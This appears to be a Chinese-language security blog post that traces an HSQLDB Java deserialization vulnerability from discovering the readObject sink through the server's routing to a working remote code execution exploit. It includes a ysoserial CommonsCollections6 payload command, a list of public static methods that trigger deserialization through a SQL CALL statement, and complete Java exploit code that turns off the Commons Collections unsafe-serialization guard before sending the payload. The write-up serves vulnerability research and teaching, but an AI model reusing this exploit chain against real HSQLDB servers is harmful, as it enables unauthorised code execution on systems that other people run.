笔者打算从漏洞挖掘的角度分析hsqldb反序列化漏洞,这样可以解决payload为什么这么构造的问题,目前网上的一些分析大部分没有将具体的漏洞细节,更是没有分析到hsqldb的协议交互和payload构造。将解决问题的一些方法分享给大家。
0x01 环境搭建
老规矩还是先从调试环境搭建开始讲起。整个环境分为两大部分,一部分是tomcat运行hsqldb web服务,另一部分是攻击代码。本小结重点分析第一部分hsqldb web服务的搭建工作。
0x1 导入 hsqldb 项目
从github上下载项目
git clone [https://github.com/BabyTeam1024/hsqldb_unserialize.git](https://github.com/BabyTeam1024/hsqldb_unserialize.git)
导入的项目是hsqldb-source-master,该git项目中的test.java是后续将会分析到的利用代码。用Intellij 导入hsqldb项目,操作如下
选中文件夹后选择导入类型,这里选Maven
右键项目pom.xml文件利用Maven自动下载依赖jar包源码
源码导入到此结束
0x2 搭建tomcat
开始配置启动服务,这里需要使用tomcat 作为Web容器启动Web服务
在这之后通过intellij 向tomcat部署war包操作如下
配置完成后点击运行按钮
出现如下图内容说明配置完成
0x3 增加调试信息
在动态调试连接代码时发现直接引用的jar包不能进行调试,我们需要一些操作,把调试信息加进去。这里主要把前面tomcat项目运行时产生的hsqldb class文件替换原有hsqldb.jar中的class文件。
mkdir test
cd test
cp ../hsqldb.jar ./
jar -xvf hsqldb.jar org/
cp -r ~/IdeaProjects/hsqldb_unserialize/hsqldb-source-master/target/classes/org ./
jar -uvf hsqldb.jar org
0x02 漏洞分析
从0到1,自己尝试下在不知道漏洞点和利用的情况下如何把这个漏洞挖出来。基本思路是先找出存在的反序列化点,其次分析这些反序列化点是如何被调用的。
0x1 寻找反序列化点
因为有hsqldb的java源代码,所以可以通过grep的方式搜索readObject在哪些文件中出现过。
看看这些readObject数据存不存在被我们控制的可能性。先从第一个java代码开始分析,从代码里看到objStream对象是从一个文件流中获取的数据,因为我们不在服务器底层,无法从http协议直接进行控制。放弃寻找下一个
针对TransferCommon.java代码采用同样的分析方式,在129行进行了反序列化操作,但是也是从文件流中获取的数据,我们无法直接控制,继续分析下一个。
根据其函数注释分析InOutUtil.java代码,了解到该函数功能是将传入的数据反序列化为一个对象,并返回。分析这个函数的可用性就要向上溯源找到deserialize的调用函数。下面的函数就不再一一分析,方法类似。
0x2 寻找触发路由
下面开始寻找InOutUtil.java中readObject函数的触发路由,首先在整个项目中全局搜索其调用函数。发现如下调用,跟上去看一看
首先看下方法描述,从实现 JDBC 接口的类调用此方法,用来将OTHER类型的值转换成另外一个类型。很明显是想通过反序列化实现类型转换。这里的OTHER类型将在后续分析到,是一个hsqldb自定义的类型。
继续搜索getObject函数的调用代码,有以下三处。
笔者分析到这里的时候尝试性的向上溯源发现了多个调用函数,一时半会没有捋清楚如何调用。于是就先放了放,打算编写数据库连接代码,分析在正常查询过程中hsqldb服务端这边是如何处理数据和分发路由的,带着这个问题开始接下来的分析。
0x3 构造连接查询代码
需要注意在运行时添加 hsqldb.jar 依赖库
首先利用create指令创建数据表之后用select进行查询
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
//statement.execute("create table example (id integer,name varchar(20)");//先创建数据表,再搜索
statement.execute("select * from example");
}
}
因为使用http协议发送的数据,所以在服务端存在接受POST或GET协议的相关代码,经过一番寻找最终找到了hsqldb自己实现的servlet,如下图所示
接着上一个小节讲,这里应该就是触发路由的入口点了,后面要想办法如何让数据走到之前分析的点即JavaObject的getObject方法。
0x4 hsqldb服务端数据处理
通过正常的select查询,调试服务端代码逻辑,方面后面漏洞利用构造相应的payload。直接使用上述客户端代码,执行以下SQL语句
statement.execute("select * from example");
1. 数据格式解析
服务端首先接受POST传递过来的数据,进行格式解析,重点关注Result.read中的代码逻辑
inStream = new DataInputStream(request.getInputStream());
Result resultIn = Result.read(rowIn, inStream);
该方法实现如下图所示,主要从DataInput datain中读取数据并解析。
在创建Result对象的时候会进行相对应的数据提取,因这部分代码太长笔者选取了关键逻辑,代码如下
int length = datain.readInt(); // 协议长度
Result(RowInputBinary in) throws HsqlException {
try {
mode = in.readIntData(); //操作类型
...
databaseID = in.readIntData(); //数据库id
sessionID = in.readIntData(); //保持会话用的
switch (mode) {
....
case ResultConstants.SQLEXECDIRECT :
updateCount = in.readIntData();//0
statementID = in.readIntData();//0
mainString = in.readString();//执行的SQL语句
break;
case ResultConstants.ERROR :
case ResultConstants.SQLCONNECT :
mainString = in.readString();
subString = in.readString();
subSubString = in.readString();
statementID = in.readIntData();
break;
case ResultConstants.UPDATECOUNT :
...
default :
throw new HsqlException(
Trace.getMessage(
Trace.Result_Result, true, new Object[]{
new Integer(mode) }), null, 0);
}
} catch (IOException e) {
throw Trace.error(Trace.TRANSFER_CORRUPTED);
}
}
简单解读下,服务端把不同操作分为了不同的mode号,于是后台根据这个mode选择对应的分支进行处理。根据调试发现执行select、delete、call的mode号均为65547,这也意味着前期的解析操作是一模一样的。
2. 简单分发
在Servlet主函数解析过POST数据后会调用session.execute函数进行第一步的分发操作。
sqlExecuteDirectNoPreChecks函数会根据传入的SQL语句执行相对应的处理流程。
3. SQL语句格式解析
dbCommandInterpreter.execute函数会根据SQL查询语法生成对应的cmd id号
之后会执行executePart函数将id号和token传入其中,进行相应的分发,
详细分析executePart函数,返现其通过cmd的值进行分发,因为客户端执行的是Select语句所以这里走到了Token.SELECT分支。再之后会执行parser.compileSelectStatement函数编译select语句,session.sqlExecuteCompiledNoPreChecks会执行SQL语句
继续跟进该函数
executeImpl函数中有第三次路由分发,主要是根据查询语句的主操作函数比如SELECT、INSERT、UPDATE、DELETE等
private Result executeImpl(CompiledStatement cs) throws HsqlException {
switch (cs.type) {
case CompiledStatement.SELECT :
return executeSelectStatement(cs);
case CompiledStatement.INSERT_SELECT :
return executeInsertSelectStatement(cs);
case CompiledStatement.INSERT_VALUES :
return executeInsertValuesStatement(cs);
case CompiledStatement.UPDATE :
return executeUpdateStatement(cs);
case CompiledStatement.DELETE :
return executeDeleteStatement(cs);
case CompiledStatement.CALL :
return executeCallStatement(cs);
case CompiledStatement.DDL :
return executeDDLStatement(cs);
default :
throw Trace.runtimeError(
Trace.UNSUPPORTED_INTERNAL_OPERATION,
"CompiledStatementExecutor.executeImpl()");
}
}
分析到这个程度可以先停一停,回想下我们为什么要分析这个,想想我们的初心是什么。我们整理下服务端的数据处理流程,大图预警
总的来说在整个SQL语句处理执行过程中大概经历了三次路由分发,让不同的查询操作走了不同的代码分支,其中有对操作指令的识别也有对查询参数的识别,最后代码执行到executeSelectStatement函数进行最后的处理。
0x5 再出发,继续寻找触发路由
我们要寻找如何才能执行到JavaObject.getObject函数
首先我们看看Function.java中的函数是如何调用的
private Object[] getArguments(Session session) throws HsqlException {
int i = bConnection ? 1: 0;
Object[] oArg = new Object[iArgCount];
for (; i < iArgCount; i++) {
Expression e = eArg[i];
Object o = null;
if (e != null) {
o = e.getValue(session, iArgType[i]);//这里又是在干什么
}
if ((o == null) &&!bArgNullable[i]) {
return null;
}
if (o instanceof JavaObject) {
o = ((JavaObject) o).getObject();// 这里可以触发反序列化
} else if (o instanceof Binary) {
o = ((Binary) o).getBytes();//这里呢?
}
oArg[i] = o;
}
return oArg;
}
继续搜索getArguments函数被谁调用过
通过搜索分析找到了调用者为getValue函数并传入的参数类型为Session,继续搜索getValue的调用函数
比较有意思的是最后的调用函数为executeCallStatement,这就和之前分析的hsqldb服务端数据处理过程对应上了。当时以SELECT查询语句为例,最后的调用函数为executeSelectStatement,因此追溯到这里我们已经知道如何触发该漏洞了,答案就是使用CALL指令的SQL语句就可以走到executeCallStatement处理分支,使用类似于下面的代码进行触发。
statement.execute("call xxxx");
0x03 漏洞利用
之前分析到触发漏洞需要执行call指令,但是不知道具体要执行什么SQL语句。本小节就要带着大家一起完成最后的Payload构造工作。
0x1 如何构造exp - 确定格式
当客户端执行 statement.execute("call xxxx"); 语句时,在服务端会报如下错误
笔者顺着代码逻辑找到最后崩溃的地方,在执行executeCallStatement函数的时候tableFilter的值为null,要继续分析找到其中的原因。
因为executeCallStatement函数为最终的处理函数,因此向上溯源找到了参数解析函数,在其中找到了猫腻,下面是参数解析函数的主逻辑
private void read() throws HsqlException {
sToken = tokenizer.getString();//
wasQuoted = tokenizer.wasQuotedIdentifier();
if (tokenizer.wasValue()) { //是否是值
iToken = Expression.VALUE;
oData = tokenizer.getAsValue();
iType = tokenizer.getType();
} else if (tokenizer.wasSimpleName()) {//是否是普通名称
iToken = Expression.COLUMN;
sTable = null;
} else if (tokenizer.wasLongName()) {//是否是长的名称
sSchema = tokenizer.getLongNamePre();
sTable = tokenizer.getLongNameFirst();
if (sToken.equals(Token.T_MULTIPLY)) {
iToken = Expression.MULTIPLY;
} else {
iToken = Expression.COLUMN;
}
} else if (tokenizer.wasParameter()) {//是否是参数
iToken = Expression.PARAM;
} else if (sToken.length() == 0) {
iToken = Expression.END;
} else {
iToken = tokenSet.get(sToken, -1);
if (iToken == -1) {
iToken = Expression.END;
}
当判断参数的时候会根据参数的类型给iToken赋值,而tokenizer的各种类型判断是根据iType值所确定的。iType的值是在上述代码的第二行getString(该函数主要处理判断操作符后面的内容是什么类型)函数里确定的。
逻辑可能会比较乱,稍微捋一捋,简单来讲执行"call xxxx" SQL语句时会对xxxx进行参数类型解析,解析后的值会赋值给iType,在之后通过tokenizer.wasXXX函数会获取到iType的值进行判断,把相对应的类型值赋值给iToken。之后就到了下面这个逻辑中
如果iToken等于Expression.OPEN则会进入一个关键的if分支,这时的iToken值必须等于101,101就是Expression.PARAM,这就意味着call 后面的参数格式必须符合(关于这个的分析可以参考Tokenizer.java::781代码,这里就不展开分析了)
call "a.b.c"('x');
0x2 如何构造exp - 确定内容
1. 确定函数名
有了上面分析到的格式,再通过客户端发送过去,服务端将会报如下错误。很明显没有这个类,需要找一个JVM环境中存在的类名。
现在hsqldb中随便找个类和方法调用下试试看,这里的方法必须是公有静态方法,因为有以下判断逻辑。
只有匹配到的类中的public方法以及确定是static后,才能给mMethod赋值。随便找了个类方法 org.hsqldb.lib.MD5::digestString试了下
call "org.hsqldb.lib.MD5.digestString"('x');
2. 确定参数内容
发现并没有走到那个可以触发反序列化的getObject方法。观察发现第一个红线返回的是String类型,那么将不会进入getObject方法。我们需要继续调试代码确定选择什么函数才能进入该分支实现数据的反序列。
继续分析其中的原因,在hsqldb获取到digestString方法后会获取其参数类型赋值给iArgType,相关代码如下
关于参数类型的判断如下图所示,测试发现String类型为12,数组类型为OTHER(1111)
如果type==12 有一个非常严重的问题,在getVaule的时候dataType恒等于type这样就会返回String型
当时想到的解决办法就是让type不等于12。那就找个参数不是String类型的Public Static方法试一试。测试下面方法,但因为CachedRow类型参数不和法没有过检验,找个其他类型的试试
statement.execute("call \"org.hsqldb.rowio.RowOutputBinary.getRowSize\"('x');");
经过测试InputStream、Table也不行,还是根据代码逻辑分析下比较好,找到具体什么类型才满足条件。经过调试发现除了String类型还有很多在表里的类型,但是结合Column的convertObject方法,必须要让payload在类型转换时将类型变为JavaObject才满足条件,结合这两点看下图。
只能当类型为OTHER时输入的数据才能被封装为JavaObject类型,那么剩下的工作就是如何让数据类型变为OTHER
根据他的生成算法,要选择在objectKeyTable中没有的类型并且该类型必须继承Serializable
3. 必须满足的条件
总结一下如果要从参数解析触发反序列化漏洞必须满足以下条件
- 用call方法
- call调用方法必须是public static
- call调用方法的参数不能在列表中且必须继承Serializable
满足以上条件即可触发漏洞,笔者找了以下几个类
call "org.hsqldb.HsqlDateTime.resetToTime"('payload'); //Calendar 类型
call "org.hsqldb.HsqlDateTime.getTimestampString"('2011-01-01','payload')//参数二 Calendar 类型
call "org.hsqldb.lib.ArrayUtil.haveEqualArrays"('payload')// int[]类型
call "org.hsqldb.lib.ArrayCounter.rank"('payload')// int[]类型
call "org.hsqldb.WebServer.main"('payload')// String[]类型
4. 另外一种可能性
满足条件的很多,这里就不列举了。通过分析也找到了另外一种调用方式,即使call调用方法的参数在列表中也可以触发反序列化漏洞,这是因为call本身就可以调用任意类public static函数中的。然而我们的readObject函数本身就在一个public static函数中,如下图所示
根据分析,我们只需执行,就可以触发漏洞
call "org.hsqldb.lib.InOutUtil.deserialize"('payload')// byte[]类型
0x3 生成payload
利用 ysoserial CommonsCollections6 触发连生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections6 "touch /tmp/123123" > /tmp/calc.ser
0x4 编写利用代码
- Java Hex 编码需要下载commons.codec依赖包
https://commons.apache.org/proper/commons-codec/download_codec.cgi - 运行时添加 hsqldb.jar 依赖库
用intellij 运行以下代码即可实现反序列化漏洞
import org.apache.commons.codec.binary.Hex;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class testjava {
public static void main(String[] args) throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("/tmp/calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.HsqlDateTime.getTimestampString\"('2011-01-01','" + payload + "');");
}
}
在序列化及反序列化过程中,如果禁用了不安全类的序列化操作,那么就会在序列化过程中抛出UnsupportedOperationException。可以通过设置org.apache.commons.collections.enableUnsafeSerialization为true关闭该检测。
0x04 总结
通过分析复现hsqldb反序列化漏洞,掌握了hsqldb的数据格式解析过程,从0到1的完成了漏洞点发现、调用路由梳理、exp构造、payload生成,较为全面的分析了反序列化漏洞在hsqldb中的利用方式。关于hsqldb还有很多相关的漏洞要分析,笔者留着以后填坑。
参考文章
https://swarm.ptsecurity.com/rce-in-f5-big-ip/
https://paper.seebug.org/1271/
http://b1ue.cn/archives/458.html
-
-
-
-
-